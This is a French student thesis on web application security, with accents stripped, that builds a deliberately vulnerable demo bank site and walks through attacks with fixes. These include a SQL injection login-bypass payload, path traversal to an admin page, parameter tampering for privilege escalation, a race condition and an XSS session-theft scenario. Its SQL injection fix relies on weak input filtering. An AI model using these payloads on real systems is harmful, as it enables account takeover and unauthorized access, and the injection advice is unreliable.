2.1. Formation et sensibilisation Les failles dans les applications web sont dues un manque de respect des bonnes pratiques par les acteurs lors dune tape du cycle de dveloppement, quil sagisse de la conception, de limplmentation ou de lintgration. Tous les membres dune quipe projet doivent donc tre sensibiliss aux enjeux et risques de scurit, et forms aux mcanismes de scurit de base. Tous les acteurs sont importants : la matrise douvrage doit tre en mesure didentifier les enjeux de scurit pour exprimer les besoins. La matrise duvre, les dveloppeurs doivent tre forms afin de pouvoir mettre en place des mcanismes de scurit appropris et efficaces. Cette dmarche de sensibilisation et de formation doit couvrir les risques et mcanismes de scurit spcifiques aux applications et technologies Web. Les mcanismes de scurit sont en constante volution et de nouveaux types de vulnrabilits sont dcouverts chaque anne. Il est donc important pour les parties prenantes de suivre rgulirement des formations et deffectuer une veille scurit afin de se garder informes des nouvelles techniques dintrusion et de piratage.

35

Chapitre II

Mise en uvre une application web scurise

2.2. Identification des besoins et apprciation des risques : Lidentification des besoins de scurit est fondamentale. Cest durant cette tape que sont prises en compte les caractristiques fonctionnelles pouvant avoir un impact sur la scurit ainsi que les besoins de scurit identifis par le mtier : ouverture sur Internet, sensibilit des donnes manipules, accessibilit 24h/24, traabilit, obligations lgales, populations dutilisateurs, cas dutilisation, Durant cette tape, laide dun expert de la scurit des applications Web peut tre utile afin daider le mtier identifier les risques et les besoins de scurit. Une premire valuation du cot peut tre ralise ce stade afin de rester cohrent avec les objectifs de la matrise douvrage, en utilisant une mthodologie comme OpenSAMM, qui permet destimer des cots pour les diffrentes tapes du cycle de dveloppement [15]. Une apprciation des risques peut ensuite tre ralise afin de modliser et danticiper les menaces lies au contexte dutilisation et au fonctionnement de lapplication Web. Cette tape permet de sassurer que lensemble des risques a bien t pris en compte, et didentifier des solutions et mesures de scurit appropries en fonction de la probabilit et de limpact des risques potentiels identifis. Des mthodes et des outils de modlisation de menaces accessibles existent afin de faciliter cette dmarche. [16]

2.3. Conception et implmentation Une fois les besoins de scurit et les menaces identifis, il convient de concevoir la scurit de lapplication Web, cest--dire de dfinir prcisment les mcanismes de scurit qui permettront dassurer latteinte des objectifs de scurit et de rpondre aux menaces (authentification, contrle daccs, protection contre les injections, etc.). Un document de conception doit dcrire formellement ces mcanismes, en fournissant une bonne visibilit sur la manire dont la scurit sera organise et les menaces seront gres. Les mcanismes de scurit ainsi conus doivent en outre respecter le principe de la dfense en profondeur, qui veut que si une ligne de dfense est dfaillante ou franchie par latt aquant, une deuxime voire une troisime ligne soit en place pour protger les ressources. Une fois la conception de lapplication et de sa scurit ralise vient la phase dimplmentation, qui voit les dveloppeurs gnrer le code source et assembler les composants. Il est alors primordial que les personnes en charge de limplmentation aient t spcialement formes au dveloppement scuris dapplications Web. En outre, des outils doivent tre fournis aux quipes : un rfrentiel documentaire qui prsente les bonnes pratiques de dveloppement scuris, 36

Chapitre II

Mise en uvre une application web scurise

une check-list qui permet de sauto-contrler et de sassurer que rien na t oubli ; des API ou un framewo rk scurit qui vitent davoir recrer des mcanismes de scurit de base (authentification, filtrage des donnes, etc.). Une attention particulire doit tre porte sur lutilisation dAPI ou de framework internes ou externes qui doivent tre valids ou audits afin de sassurer quils ne portent pas de vulnrabilits ou de code malveillant. Dans cette phase galement, la possibilit pour les quipes de consulter un expert scurit afin de valider les mcanismes de scurit dvelopps est un plus. Les quipes peuvent galement se rfrer au Guide de conception et dimplmentation dapplications Web scurises de lOWASP [17].

2.4. Vrification de la scurit des applications Web : Une application Web est le plus souvent un assemblage complexe de briques logicielles (serveur web, serveur dapplication,moteur de script, base de donnes, firewall, reverse proxy) et de code source spcifiquement dvelopp, grant linterface utilisateur, les traitements mtiers et les accs aux donnes. Mme si la scurit a t prise en compte ds le dbut du projet, il nest pas rare que des erreurs de conception, dimplmentation ou dintgration existent et permettent au final des atteintes la scurit des donnes et des traitements. La vrification de la scurit des applications Web est donc primordiale et des travaux de revue doivent tre prvus durant le cycle de dveloppement et de vie des applications. Plusieurs approches peuvent tre utilises pour vrifier la scurit dune application Web, chacune ayant ses avantages et ses inconvnients :

2.4.1. Audit des spcifications : Cette approche consiste considrer des scnarios de menaces et valuer comment les architectures techniques et mcanismes de scurit prvus dans les spcifications sont mme de protger lapplication, ses donnes et ses traitements. Elle peut tre ralise ds la phase de conception, avant mme la phase dimplmentation, indpendamment des technologies utilises. Elle ne permet toutefois pas de se prmunir contre dventuels problmes dimplmentation.

2.4.2. Audit de code : Laudit de code source consiste analyser le code source de lapplication (code Java, JSP, PHP, .Net, C/C++, etc.), afin de vrifier : Que les mcanismes de scurit permettant de protger lapplication sont bien prsents ;

37

Chapitre II

Mise en uvre une application web scurise

Que les rgles de contrle interne mtier sont bien appliques ; Que le code source ne contient pas de bugs pouvant permettre un attaquant de contourner la scurit. Laudit de code source a de nombreux avantages. Le fait danalyser le code source peut en effet

Permettre : De vrifier le respect des bonnes pratiques et du principe de la dfense en profondeur ; Davoir un niveau dassurance lev quant labsence de failles ; De dceler des failles quun test dintrusion naurait pas permis didentifier ; Didentifier facilement ce quil faut faire pour corriger la faille ; De raliser laudit ds la fin de limplmentation de lapplication, voire mme dune partie de lapplication.

Toutefois : Il est ncessaire de pouvoir disposer de tout le code source sous forme lectronique ce qui nest parfois pas possible (notamment dans le cas des librairies compiles) ; Le code mis en production est parfois diffrent du code audit ; Il est difficile pour l'auditeur d'avoir une vision globale de l'application et de sa scurit partir du seul code source. Cette approche est donc souvent associe un test d'intrusion. LOWASP a publi un manuel de revue de code des applications Web [18] 2.4.3. Test dintrusion : Le test dintrusion est une approche dj utilise dans dautres environnements que les applications Web. Il consiste confronter lapplication Web une situation dattaque relle, en simulant les actions dune personne mal intentionne. Le test peut tre ralis :

Sans connaissance et sans habilitations initiales, afin de simuler un attaquant externe (parfois appel tests en boite noire ) ; Avec les connaissances et habilitations dun utilisateur de base, pour simuler les attaques dun utilisateur lgitime, mais malveillant (parfois appel tests en boite grise ). Avec les connaissances dun dveloppeur de lapplication (mise disposition de lattaquant du code source) : (parfois appel tests en boite blanche ). 38

Chapitre II Lintrt du test dintrusion est de permettre :

Mise en uvre une application web scurise

De dceler dventuelles failles sur lapp lication Web elle-mme, mais aussi des failles (patch manquant, problme de configuration) sur la plateforme (OS, serveur Web, base de donnes, etc.) hbergeant lapplication.

De tester de manire pratique et de bout en bout la scurit de lenvironnement cibl.

Mais les tests dintrusion prsentent aussi des inconvnients : Un test dintrusion peut entraner des risques dindisponibilit de lapplication Web, ce qui peut tre gnant quand un environnement de production est test ; Un test dintrusion ne peut tre ralis qu la fin du cycle de dveloppement de lapplication. Si une faille de conception est identifie alors, sa correction peut se rvler trs coteuse ; Un test dintrusion ne permet pas dvaluer les fonctionnalits et mcanismes de scurit qui ne sont pas accessibles. Il ne permet notamment pas de tester la dfense en profondeur ; Il est parfois difficile, voire impossible, de couvrir de faon exhaustive toutes les formes dattaques (notamment les diffrentes formes dinjection). Pour plus dinformation, on pourra consulter le manuel de test de la scurit des applications Web publi par lOWASP [19]. Le CLUSIF a galement publi un document sur les tests dintrusion (non spcifique aux applications Web) [20]. 2.4.4. Revue de linfrastructure dhbergement : La scurit dune application Web peut dpendre de la configuration des composants de linfrastructure qui lhberge. Un paramtrage non adapt dans le serveur Web peut par exemple permettre de sintroduire sur le serveur, et donc de mettre en dfaut la s curit de lapplication Web. Aussi il peut tre appropri de complter un audit de code en ralisant une revue du paramtrage des serveurs Web, serveurs dapplication, bases de donnes ou firewall utiliss pour mettre en uvre lapplication, afin de vrifier que les bonnes pratiques sont respectes.

2.4.5. Quelques bonnes pratiques : Pour acclrer et amliorer le processus de vrification, de nombreuses mthodes existent les deux principales sont : 39

Chapitre II 2.4.5.1. Automatisation :

Mise en uvre une application web scurise

Des outils commerciaux ou open-source peuvent tre utiliss pour raliser des audits de code ou des tests dintrusion. Ces logiciels sont bass sur des bases de signatures et de modles de failles. Ils permettent dautomatiser des tches et de traiter des volumtries dans des temps relativement rduits. Toutefois, mme sils sont capables dun certain degr dintelligence, ces outils ne sont parfois pas capables didentifier des failles trs spcifiques, notamment au niveau de la logique mtier. Ils sont galement susceptibles de gnrer des faux positifs. Il est donc ncessaire quils soient utiliss par un auditeur expriment mme de les configurer correctement, danalyser les rsultats produits et de les complter le cas chant.

2.4.5.2. Appel des comptences externes :

De nombreuses motivations peuvent conduire externaliser tout ou partie du dveloppement dune application Web : accs des comptences externes pointues, gain de temps, rduction des cots, etc. Or comme on la vu plus tt, la scurit dune application Web doit tre traite en amont. Le donneur dordre doit exprimer les besoins de scurit dans le cahier des charges et contrler quils ont bien t pris en compte. Ces lments sont primordiaux dans le cas dune externalisation. Lors dappel de la sous-traitance, les engagements suivants peuvent tre demands au prestataire : Engagement suivre un guide de dveloppement scuris et former ses dveloppeurs la scurit des applications Web ; documentation de larchitecture et des mcanismes de scurit mis en place ; engagement prendre son compte les corrections des failles de scurit qui seraient dcouvertes durant la vie de lapplication, quelles soient prsentes dans le code crit, mais aussi dans les ventuels composants, open source ou non, utiliss ;

A la livraison, il est souhaitable que le donneur d'ordre ou l'acheteur fasse procder une vrification de la scurit de l'application Web. Cette vrification est d'autant plus ncessaire dans le cas d'une sous-traitance que la pression sur les prix peut entraner les prestataires ngliger l'aspect scurit. La scurit doit faire partie intgrante des aspects que le client d'un sous-traitant doit recetter et valider avant de prononcer l'acceptation et de payer.

40

Chapitre II
2.4.5.3. Autres pratiques :

Mise en uvre une application web scurise

Limiter le recours des ressources disponibles sur internet : Il est trs facile de trouver de nombreuses ressources sur le web permettant de dvelopper sans avoir besoin de comprendre la programmation : tutoriaux, exemples de code, fonctionnalits ou sites cls en main . Cependant, il ne faut pas se fier les yeux ferms toutes ces sources dinformation, car certains lments peuvent avoir t dposs par des internautes pas suffisamment sensibiliss la scurit, comporter des vulnrabilits.

Documenter tous les aspects de lapplication web: Il est de la responsabilit de lquipe de dveloppement de documenter le code de programmation et de rdiger une documentation gnrale et un manuel dutilisation de lapplication.

Ne pas faire confiance aveuglment aux informations et aux requtes envoyes par les internautes : Le plus grand risque pour une application web provient de son interaction avec le monde extrieur. Ne pouvant jamais connatre lidentit et les intentions des utilisateurs. Il est important de dvelopper chaque application web en gardant lesprit quil ne faut pas se fier sans vrifier les informations reues des internautes et de les considrer toutes comme potentiellement dangereuses.

Contrle et vrification des entres : Un contrle spcifique des entres doit toujours tre effectu ds lors que des informations saisies par des internautes sont reues par lapplication web.

Contrle de sorties : Contrler et filtrer chaque sortie pour sassurer quelle est conforme ce qui doit tre renvoy aux internautes.

Grer les sessions de manire approprie : on nomme session lensemble des mcanismes qui permettent de crer et de maintenir un lien entre plusieurs oprations effectues sur une mme application web, par un mme internaute, dans un intervalle de temps dfini. Plusieurs solutions techniques soffrent au dveloppeur web afin de rduire les risques en matire de gestion des sessions.

Processus dauthentification : Le processus dauthentification doit tre robuste car cest par cette tape que chaque utilisateur doit passer pour accder aux fonctionnalits protges de lapplication. Pour mettre en place une procdure dauthentification scurise, il convient 41

Chapitre II

Mise en uvre une application web scurise

dutiliser un protocole scuris tel que HTTPS qui permet dassurer la confidentialit et lintgrit des informations changes entre linternaute et lapplication web.

2.4.6. Quand vrifier ? Les vrifications de la scurit des applications Web sont encore trop souvent ralises juste avant la mise en production, voire aprs. Or cette approche peut entraner des cots non ngligeables. En effet, si la vrification met en vidence des failles de scurit qui doivent tre corriges, le cot de correction est dautant plus lev quelle intervient tard. Il est donc plus indiqu de planifier des vrifications de la scurit dune application Web tout au long du cycle de dveloppement. Lapproche suivante peut tre suivie : Revue papier ds la conception ; Audit de code ds limplmentation ; Tests dintrusion au moment des tests utilisateur ; Revue dinfrastructure avant la mise en production.

En outre, le niveau de scurit dune application Web doit tre vrifi tout au long de son cycle de vie, notamment lors dvolutions ou dajouts de fonctionnalits.

3. Conclusion : Face des applications Web dont la taille, la complexit et lomniprsence ne cessent de crotre, les mcanismes de dfense et les protections correspondantes doivent eux aussi voluer. Les entreprises doivent implmenter des rgles et des contrles capables de prendre en charge des environnements distribus tout entiers ; elles doivent aussi faire face la complexit des technologies modernes et se synchroniser avec le cycle de dveloppement logiciel interne de lentreprise. En outre, elles doivent tre prtes fournir leur Direction, aux auditeurs officiels et aux clients des mtriques et des informations sur la planification et la stratgie de scurit adoptes. Ngliger de telles mesures est une prise de risque dangereuse sur le march actuel. Dans un contexte o les entreprises s'appuient de plus en plus sur des applications et des donnes accessibles via le Web, les risques augmentent de faon exponentielle, La scurit des application web est une partie intgrante dans le processus de dveloppement et elle doit rester pendant tous le cycle de vie de lapplication.

42

Partie II Chapitre 3 : cration du site web

1. Introduction Afin de mener bien un projet informatique, une bonne assise doit tre fonde pour garantir une longvit en termes de qualit et de rentabilit. Cette assise nest au fait rien dautre que la conception. Dans cette partie du document, nous prsenterons les tapes essentielles de notre travail en donnant les points les plus importants de la conception ainsi que les outils utiliss pour sa ralisation.

2. Objectif. Le travail consiste montrer les principales failles des applications web qui sont prsentes par lOWASP en mettant en uvre des attaques qui exploitent ces dernires, ces attaques sont prsentes en dtails dans le chapitre prochain. A chacune de ces attaques on donnera une solution envisageable, en crant un autre site web rsistant ces dernires.

3. Ide du site : La technologie moderne permet un haut degr de scurit dans les oprations bancaires. Pour permettre chacun de profiter au mieux de cette scurit, les banques investissent rgulirement dans leur systme de scurit et insistent dans leur communication pour duquer le public aux bons rflexes et bonnes pratiques en matire de scurit par Internet. Des alertes de scurit peuvent apparatre sur leur site pour vous informer en temps rel des cas de tentative de fraude. Cest pour cela que nous allons essayer de mettre en uvre un site dune banque avec les pages les plus vulnrables (authentification, formulaires,).

4. Conception du site : Le modle conceptuel des donnes (MCD) a pour but d'crire de faon formelle les donnes qui seront utilises par le systme d'information. Il s'agit donc d'une reprsentation des donnes, facilement comprhensible, permettant de dcrire le systme d'information l'aide d'entits. Pour concevoir ce site nous avons utilis la mthode merise, mais nous donnant juste le MCD de cette conception. Ce dernier est donn par figure suivante :

Figure 2: MCD du site web

5. Ralisation du site : Pour mener bien notre travail, nous avons fait appel une panoplie doutils et langages de dveloppement permettant la ralisation et la mise en uvre de notre application. Nous tenons les prsenter tout en argumentant nos choix.

5.1. Web creator : Web Creator est un logiciel convivial qui permet de crer facilement et rapidement des sites Internet de haute qualit graphique. Dvelopp par la socit LMSOFT, Web Creator ne ncessite aucune connaissance en programmation ou en infographie. Les sites gnrs avec Web Creator peuvent afficher tous les effets visuels et multimdias de l'heure (cadres avec ombres portes, zones colores avec effet de verre transparent, blogues avec vidos et sons, etc.). [21] Nous avons utilis ce logiciel pour crer les pages HTML du site.

5.2. Dreamweaver : Logiciel cr par Macromedia (et gr maintenant par Adobe) permettant la conception de sites web. Dreamweaver fonctionne en mode WYSIWYG ou en mode code et dispose d'un client FTP permettant le transfert des pages cres sur le serveur hbergeant le site web

Dreamweaver code les pages au format HTML en respectant les recommandations de l'organisme W3C qui gre les normes de conception des sites web. Ce logiciel est trs puissant d'utilisation et ncessite une bonne formation pour pouvoir le matriser. La partie Editeur de code du logiciel permet la modification rapide du contenu des pages, de leur mise en forme, de l'insertion d'images, de liens ou d'autres lments habillant la page Web. La partie Gestion du site permet d'organiser tous les fichiers composant le site et de les publier sur le serveur distant pour qu'ils soient accessibles via Internet. [22] Nous avons utilis ce logiciel pour diter et personnaliser les pages du site.

5.3. Eclipse : Eclipse IDE est un environnement de dveloppement intgr libre (le terme Eclipse dsigne galement le projet correspondant, lanc par IBM) extensible, universel et polyvalent, permettant potentiellement de crer des projets de dveloppement mettant en uvre n'importe quel langage de programmation. Eclipse IDE est principalement crit en Java ( l'aide de la bibliothque graphique SWT, d'IBM), et ce langage, grce des bibliothques spcifiques, est galement utilis pour crire des extensions. [23] Nous avons utilis cet environnement pour crer les JSPs et les Servlets.

5.4. Le systme de gestion de base de donnes MySQL [24] MySQL est un systme de gestion de bases de donnes relationnelles (SGBDR) bas sur SQL (Structured Query Language). MySQL fonctionne pratiquement sur toutes les plates-formes (Linux, Unix et Windows). Il est entirement multi-thread et fournit des API (Application Programming Interface) pour de nombreux langages de programmation, notamment C, C + +, Java, Perl, PHP, Python, etc. MySQL est utilis dans une large gamme d'applications, Le commerce lectronique, les bases de donnes Web, etc. Nous avons utilis MySQL pour crer la base de donnes de notre site web.

6. Conclusion : La conception du site est une tape trs importante et il faut toujours garder en tte la scurit de lapplication, pour mettre en vidence cette scurit on va crer deux sites, un p our expliquer les attaques et lautre pour se protger contre ces dernires. Le chapitre prochain est consacr pour rsumer des scnarios des attaques les plus communes (la plupart de ces attaques sont inspires de webgoat).

Partie II Chapitre 4: les principales failles du site et leurs solutions

Chapitre IV 1. Introduction

Les principales failles du site et leurs solutions

Lobjectif de ce chapitre consiste montrer les principales failles des applications web qui sont prsentes par lOWASP en mettant en uvre des attaques qui exploitent ces dernires, ces attaques sont prsentes en dtails avec des scnarios prsentant des cas rels. A chacune de ces attaques on donnera une solution envisageable, en crant un autre site web rsistant ces dernires.

2. Les principales failles du site et leurs solutions : 2.1. Injection SQL On peut faire beaucoup d'injections SQL diffrentes, ici on vous expliquera comment passer un formulaire de connexion alors qu'on n'a pas le mot de passe. Pour bypasser le formulaire de connexion et se logguer on va injecter des petits morceaux de codes SQL dont les informations sont forcment vraies (par exemple : 1=1). On va voir comment se connecter sur le compte d'une autre personne Dans notre exemple, on va essayer de se connecter au compte de sof_fed alors qu'on ne connait pas son mot de passe. La requte associe au formulaire de connection permettant de vrifier que les login / password entrs sont valides par rapport notre base de donnes est la suivante : select Login, MotDePasse from Client where Login='login' and MotDePasse=password Cette requte aurait pour effet de slectionner l'utilisateur en question si le nom d'utilisateur ET le mot de passe entrs sont dans notre base de donnes. Si l'un des deux est erron, la requte ne renverra aucun rsultat. Pour forcer la non vrification de validit du mot de passe, il suffit de modifier la requte pour qu'elle devienne : select Login ,MotDePasse from Client where Login='Sofiane' and MotDePasse='secr'or'1'='1' On va donc commencer par entrer Sofiane comme login et secr'or'1'='1 comme mot de passe dans le formulaire de connexion. Login

Sofiane secr'or'1'='1 Valider

Password

48

Chapitre IV

Les principales failles du site et leurs solutions

La requte permettrait certainement de s'identifier car elle est vraie. Comme il est vident que 1 est gal 1, elle serait vrai. Solution : Parmi les solutions possibles pour cette attaque on peut noter ceci : Filtrer les entres utilisateur en liminant certains caractres comme Mettre en uvre un mcanisme cot serveur pour viter que les donnes utilisateur nont pas de contact direct avec lutilisateur par exemple : utiliser un objet java (liste) pour rcuprer les informations de la base de donne et puis faire la correspondance (Login / mot de passe) en utilisant cette objet (liste).

2.2. Bypasser une arborescence Sur certaines applications mal conues, il est possible d'accder des ressources (fichier RessourcesAdmin / PageAdmin1.html par exemple) en remontant des niveaux dans l'URL. Pour ce faire, nous utilisons WebScarab afin d'analyser les paramtres utiliss lorsque l'on consulte un document. Slectionnez un document puis cliquez sur "afficher"

Nous constatons que le paramtre utilis est "menudroulant" (non du fichier). Il suffit de remplacer directement le fichier dans WebScarab et de cliquer sur "Accept Changes". Si nous consultons l'arborescence de WebGoat

Si nous consultons l'arborescence du site de la banque, nous constatons qu'il existe un fichier PageAdmin1 dans un rpertoire RessourcesAdmin auquel nous allons tenter d'accder : Dans la mesure o nous nous trouvons actuellement dans le rpertoire " RessourcesClients", il suffit de remonter d'un niveau en utilisant comme nom de fichier "../ RessourcesAdmin / PageAdmin1.html". 49

Chapitre IV

Les principales failles du site et leurs solutions

Et enfin cliquez sur "Accept Changes" pour accder au fichier de ladministrateur. Solution : Parmi les solutions possibles pour cette attaque on peut noter ceci : Vrification cot serveur des droit de lutilisateur sur la ressource avant son affichage

2.3. Injection DOM Dans cet exemple on propose un formulaire d'activation d'un abonnement avec un numro de licence. Le bouton "Activate" ne devient oprant que lorsque le numro de srie saisi est valide. Pourtant, la dsactivation du bouton "Activate" n'est assure que par la proprit HTML "disabled", dont il est ais de s'affranchir, en modifiant le corps de la page.

Pour ce faire, nous utilisant Firebug pour inspecter llment comme le montre la figure ci-dessous :

50

Chapitre IV

Les principales failles du site et leurs solutions

La consultation de la source HTML de la page nous indique que le bouton "Activate" est de type "SUBMIT" .

Il suffit d'y supprimer".disabled" pour rendre le bouton "Activate" actif.

Il ne nous reste plus qu' appuyer sur le bouton "Activate".

51

Chapitre IV

Les principales failles du site et leurs solutions

Parmi les solutions possibles pour cette attaque on peut noter ceci : Bonne Vrification cot serveur de la licence ;

Par bonne on dsigne la bonne manire car on pourra imaginer un autre scnario dans lequel le bouton activate ! est actif initialement et de type BUTTON et qui fait un appel vers une fonction JavaScript Validate() lors du clic; cette fonction soccupent de la validation de la licence cot serveur. Dans ce cas l il suffit de modifier larbre DOM en supprimant la fonction Validate() et en remplaant le type BUTTON par SUBMIT . Ce qui signifie quune validation cot serveur ne suffit pas, il faut aussi sassurer quelle a t effectue dune bonne manire.

2.4. Bypasser les Roles : L'objectif de cet exemple est de vous montrer comment bnficier de droits plus levs par rapport ceux initialement prvus pour un profil donn. Pour ce faire, connectons-nous avec un profil "admin". Interceptons le paramtre utilis afin de supprimer un utilisateur l'aide de WebScarab. Nous constatons que le paramtre est "SupprimerLeProfil ". Se dconnecter puis se reconnecter avec le profil "Sofiane Fedaoui". Comme nous pouvons le constater dans la figure ci-dessous, l'application ne prvoit pas pour ce profil le bouton " SupprimerLeProfil " comme nous l'avions avec le profil "admin".

Nanmoins, il est possible de contourner cette limitation par escalade de privilges, en utilisant WebScarab. Pour ce faire, slectionnons "Sofiane Fedaoui " dans la liste des utilisateurs, puis cliquons sur "VoirLeProfil", fonction permettant de consulter le profil.

52

Chapitre IV

Les principales failles du site et leurs solutions

WebScarab intercepte l'appel, dans lequel nous allons modifier le paramtre " VoirLeProfil " en le remplaant par " SupprimerLeProfil "

Parmi les solutions possibles pour cette attaque on peut noter ceci : Vrification cot serveur des droit de lutilisateur sur la fonction avant de lexcuter ; Utilisation de SSL et les donner seront transmise en chiffr ;

2.5. Mauvaise gestion de concurrence On propose aux clients plusieurs types dassurances de la moins cher la plus cher. Lobjectif de cette attaque est de choisir un abonnement le plus cher au prix de labonnement le moins cher, en exploitant la concurrence de deux fentres de navigateurs. Pour raliser cette attaque, il est ncessaire d'ouvrir deux fentres de navigateur, qui pointent la mme adresse comme le montrent les deux figures ci-dessous.

53

Chapitre IV

Les principales failles du site et leurs solutions

Sur la premire fentre, on choisit labonnement le moins cher. Sur la deuxime fentre, on choisit labonnement le plus cher. Puis sur la premire fentre, on clique sur "mettre jour le panier" puis sur "Abonnement " Et on fait la mme chose sur la deuxime fentre, ce qui nous donne la les deux fentres suivantes :

Revenir sur le premier cran et cliquez sur "Confirmer". Le panier contient un abonnement le plus cher, mais vous le payez au prix de l'article le moins cher Au moment ou on a cliqu sur "mettre jour le panier" puis sur "Abonnement " du deuxime navigateur on a mis jour le panier sans forcement mettre jour le prix de ces derniers. 54

Chapitre IV

Les principales failles du site et leurs solutions

Parmi les solutions possibles pour cette attaque on peut noter ceci : Mettre en uvre un mcanisme cot serveur en gardant en tte les risques de ces attaque exploitant la concurrence ;

2.6. Exemple de Xss : On prsente un client de la banque un message avec un URLs qui contient derrire un script JavaScript qui soccupe de rcuprer le numro de session de lutilisateur comme le montre la figure suivante :

En cliquant sur le lien lutilisateur va tre redirig vers une page maitrise par le pirate qui va rcupre le numro de session correspondant et qui pourra tre utilis tan que la session est valable. Parmi les solutions possibles pour cette attaque on peut noter ceci : Filtrage des URLs en mettant en uvre un mcanisme bas sur une liste blanche des URLs qui peuvent tre consult, cette solution ne sapplique pas tout les cas de figure car par exemple dans un forum on ne peut pas filtrer avec une liste blanche. vrification des entres pour dtecter les scripts malicieux.

A ces attaques on peut ajouter les cas suivants : exploitation de loublie de mot de passe dun compte comme yahoo par exemple (social engineering) ; 55

Chapitre IV

Les principales failles du site et leurs solutions

oublie dinformations (login+mot de passe dans le code source).

3. Conclusion : Malgr la simplicit de ces attaques leurs effets peuvent causer dimportant dgt pour une entreprise en gnral et une banque en particulier. On peut remarquer que la plupart des attaques sont dues des erreurs de programmation et des manques de vrification cot serveur et la plupart et une grande parti peuvent tre neutralises en sensibilisant et formant les dveloppeurs.

56

Conclusion gnrale et perspectives

Conclusion gnrale et perspectives


Conclusion gnrale et perspectives

A l'heure de l'explosion des rseaux sociaux et de l'avnement du navigateur internet comme logiciel vicaire, il est certes tard pour terrasser immdiatement un gant qui peut maintenant compter sur la pression et l'apptit sans cesse grandissants des usagers du WEB 2.0, mais il n'est pas trop tard. Cela doit sans doute passer, comme souvent en SSI, par une meilleure sensibilisation des utilisateurs, mais ce sont avant tout les grands acteurs du WEB qu'il faut convaincre sans se contenter de seulement persuader, ceux dont les intrts ne sont pas forcment en phase avec ceux du grand public et qui se soucient plus de campagnes marketing, de parts de marchs et d'audience, que de la mise en scurit des donnes personnelles de leurs usagers. Dans ce travail nous avons essayer de montrer limportance de la prise en compte de la scurit dans le processus de dveloppement des application web en montrant cela par des scnarios dattaques qui peuvent nuire la scurit.

Il y a de la confiance globale que nous pourrons accorder aux technologies, et cette confiance sera tt ou tard synonyme de dveloppement. Quant ceux qui rvent de chaos, d'attaques spectaculaires et de guerre lectronique, qu'ils se rjouissent, la scurit web collectivement de dcider encore pour combien de temps. .. a beaucoup offrir. A nous

55

Bibliographie

Bibliographie
[1] Jean-Franois Pillou, Tout sur le webmastering, livre, Edition Dunod 2008. [2] http://pedagene.creteil.iufm.fr/internet/definit.htm, [3] http://www.iocean.fr/Web_2, [4] http://www.sosign.com/Applications-Web.html, [5] Serge tahe, programmation web, un survol , article PDF, Universit Angers, 2008. [6] GUIDE LES TECHNOLOGIES DU WEB , article PDF Tlcharger depuis www.pexinet.com/guide-technologies-web.pdf [7] Jean-Marie Cocheteau, Microsoft Expression web , livre, Edition Dunod 2008. [8] Nigel Mcfarlane, Solution dveloppeur, JavaScript Professionnel , Edition Eyrolles 2000. [9] Applet , site web http://www.tbs-sct.gc.ca/cioscripts/gloss/glossalpha_f.asp?SubjectID=79 [10] Michel Martin, le Programmeur Site web dynamiques , livre, Edition Campuspress 2000. [11] Applets et servlets deux modeles IHM bien distincts , site web http://www.journaldunet.com/developpeur/java-j2ee/analyse/applets-et-servletsdeux-modeles-d-ihm-bien-distincts.shtml, [12] Java un langage de programmation , site web http://www.webmaster-hub.com/publication/Java-un-langage-de-programmation.html, [13] Uwe Bunning, Grand livre ASP 3 Site web dynamiques , livre, Edition Micro Application 2000. [14] AJAX , page web http://www.iocean.fr/Ajax , vue le 30/04/2009. [15] http://www.opensamm.org/ [16] http://www.owasp.org/index.php/Threat_Risk_Modeling [17] http://www.owasp.org/index.php/Category:OWASP_Guide_Project [18] http://www.owasp.org/index.php/Category:OWASP_Code_Review_Project [19] http://www.owasp.org/index.php/Category:OWASP_Testing_Project [20] https://www.clusif.asso.fr/fr/production/ouvrages/pdf/TestIntrusion.pdf [21] http://www.druide.com/webcreator.html [22] http://www.dicodunet.com/definitions/internet/dreamweaver.htm [23] http://www.techno-science.net/?onglet=glossaire&definition=517 [24] http://www.phpdebutant.org

Annexes : La base de donnes du site

Annexe
Scripte de cration de la base de donnes

La base de donnes du site

CREATE DATABASE `Banque`; // cration de la base de donnes // cration des tables de la base de donnes CREATE TABLE `service` ( `id_service` VARCHAR(20) NOT NULL, `libelle_service` VARCHAR(20) DEFAULT NULL, `cout_service` INTEGER(40) DEFAULT NULL, PRIMARY KEY (`id_service`) );

CREATE TABLE `type_compte` ( `id_type_compte` int(3) NOT NULL, `libelle_type_compte` varchar(40) default NULL, PRIMARY KEY (`id_type_compte`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1;

CREATE TABLE `type_client` ( `id_type_client` int(3) NOT NULL, `libelle_type_client` varchar(40) default NULL, PRIMARY KEY (`id_type_client`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1;

CREATE TABLE `client` ( `id_client` varchar(20) NOT NULL, `nom_client` varchar(30) default NULL, `prenom_client` varchar(30) default NULL, `adresse_client` varchar(40) default NULL, `date_naissance` date default NULL, `raison_sociale` varchar(30) default NULL, `id_type_client` int(3) default NULL, `libelle_client` varchar(40) default NULL, PRIMARY KEY (`id_client`), KEY `id_type_client` (`id_type_client`),

Annexe

La base de donnes du site

CONSTRAINT `client_fk` FOREIGN KEY (`id_type_client`) REFERENCES `type_client` (`id_type_client`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1;

CREATE TABLE `service_type_compte` ( `id_service` varchar(20) NOT NULL, `id_type_compte` int(3) NOT NULL, PRIMARY KEY (`id_service`,`id_type_compte`), KEY `id_service` (`id_service`), KEY `id_type_compte` (`id_type_compte`), CONSTRAINT `service_type_compte_fk1` FOREIGN KEY (`id_type_compte`) REFERENCES `type_compte` (`id_type_compte`), CONSTRAINT `service_type_compte_fk` FOREIGN KEY (`id_service`) REFERENCES `service` (`id_service`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1;

CREATE TABLE `agence` ( `id_agence` varchar(20) NOT NULL, `adresse_agence` varchar(40) default NULL, `nombre_employe` int(3) default NULL, PRIMARY KEY (`id_agence`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1;

CREATE TABLE `type_fournisseur_service` ( `id_type_fournisseur` int(3) NOT NULL, `libelle_type_fournisseur_service` varchar(40) default NULL, PRIMARY KEY (`id_type_fournisseur`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1;

CREATE TABLE `fournisseur_service` ( `id_fournisseur_service` varchar(20) NOT NULL, `nom_fournisseur_service` varchar(30) default NULL, `prenom_fournisseur_service` varchar(30) default NULL,

Annexe
`date_naissance` date default NULL,

La base de donnes du site

`adresse_fournisseur_service` varchar(40) default NULL, `constructeur` varchar(40) default NULL, `date_mise_oeuvre` date default NULL, PRIMARY KEY (`id_fournisseur_service`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1;

